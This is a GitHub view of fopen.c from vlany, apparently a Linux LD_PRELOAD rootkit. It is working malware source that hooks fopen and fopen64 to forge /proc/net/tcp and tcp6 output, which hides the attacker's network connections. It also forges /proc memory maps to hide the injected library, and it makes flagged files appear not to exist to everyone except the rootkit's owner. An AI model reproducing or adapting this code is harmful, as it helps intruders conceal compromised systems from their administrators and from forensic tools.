-
Notifications
You must be signed in to change notification settings - Fork 195
/
fopen.c
92 lines (69 loc) · 3.33 KB
/
fopen.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
FILE *fopen(const char *path, const char *mode)
{
#ifdef DEBUG
printf("[vlany] fopen() called\n");
#endif
HOOK(old_fopen, CFOPEN);
if(owned()) return old_fopen(path, mode);
char *proc_net_tcp = strdup(PROC_NET_TCP), *proc_net_tcp6 = strdup(PROC_NET_TCP6);
xor(proc_net_tcp); xor(proc_net_tcp6);
if(!strcmp(path, proc_net_tcp) || !strcmp(path, proc_net_tcp6)) { CLEAN(proc_net_tcp); CLEAN(proc_net_tcp6); return forge_proc_net_tcp(path); }
CLEAN(proc_net_tcp); CLEAN(proc_net_tcp6);
// piss off
if(!fnmatch("/proc/*/maps", path, FNM_PATHNAME)) return forge_mem_maps(path);
if(!fnmatch("/proc/*/smaps", path, FNM_PATHNAME)) return forge_mem_smaps(path);
if(!fnmatch("/proc/*/numa_maps", path, FNM_PATHNAME)) return forge_numa_maps(path); // don't talk to me or my sons ever again
// if cwd is /proc/ or /proc/id
char cwd[PATH_MAX];
if(getcwd(cwd, sizeof(cwd)) != NULL)
{
if(!strcmp(cwd, "/proc"))
{
if(!fnmatch("*/maps", path, FNM_PATHNAME)) return forge_mem_maps(path);
if(!fnmatch("*/smaps", path, FNM_PATHNAME)) return forge_mem_smaps(path);
if(!fnmatch("*/numa_maps", path, FNM_PATHNAME)) return forge_numa_maps(path);
}
if(!fnmatch("/proc/*", cwd, FNM_PATHNAME))
{
if(!fnmatch("maps", path, FNM_PATHNAME)) return forge_mem_maps(path);
if(!fnmatch("smaps", path, FNM_PATHNAME)) return forge_mem_smaps(path);
if(!fnmatch("numa_maps", path, FNM_PATHNAME)) return forge_numa_maps(path);
}
}
if(hidden_xattr(path) || hidden_xstat(_STAT_VER, path, 32)) { errno = ENOENT; return NULL; }
return old_fopen(path, mode);
}
FILE *fopen64(const char *path, const char *mode)
{
#ifdef DEBUG
printf("[vlany] fopen64() called\n");
#endif
HOOK(old_fopen64, CFOPEN64);
if(owned()) return old_fopen64(path, mode);
char *proc_net_tcp = strdup(PROC_NET_TCP), *proc_net_tcp6 = strdup(PROC_NET_TCP6);
xor(proc_net_tcp); xor(proc_net_tcp6);
if(!strcmp(path, proc_net_tcp) || !strcmp(path, proc_net_tcp6)) { CLEAN(proc_net_tcp); CLEAN(proc_net_tcp6); return forge_proc_net_tcp(path); }
CLEAN(proc_net_tcp); CLEAN(proc_net_tcp6);
if(!fnmatch("/proc/*/maps", path, FNM_PATHNAME)) return forge_mem_maps(path);
if(!fnmatch("/proc/*/smaps", path, FNM_PATHNAME)) return forge_mem_smaps(path);
if(!fnmatch("/proc/*/numa_maps", path, FNM_PATHNAME)) return forge_numa_maps(path);
// if cwd is /proc/ or /proc/id
char cwd[PATH_MAX];
if(getcwd(cwd, sizeof(cwd)) != NULL)
{
if(!strcmp(cwd, "/proc"))
{
if(!fnmatch("*/maps", path, FNM_PATHNAME)) return forge_mem_maps(path);
if(!fnmatch("*/smaps", path, FNM_PATHNAME)) return forge_mem_smaps(path);
if(!fnmatch("*/numa_maps", path, FNM_PATHNAME)) return forge_numa_maps(path);
}
if(!fnmatch("/proc/*", cwd, FNM_PATHNAME))
{
if(!fnmatch("maps", path, FNM_PATHNAME)) return forge_mem_maps(path);
if(!fnmatch("smaps", path, FNM_PATHNAME)) return forge_mem_smaps(path);
if(!fnmatch("numa_maps", path, FNM_PATHNAME)) return forge_numa_maps(path);
}
}
if(hidden_xattr(path) || hidden_xstat(_STAT_VER, path, 64)) { errno = ENOENT; return NULL; }
return old_fopen64(path, mode);
}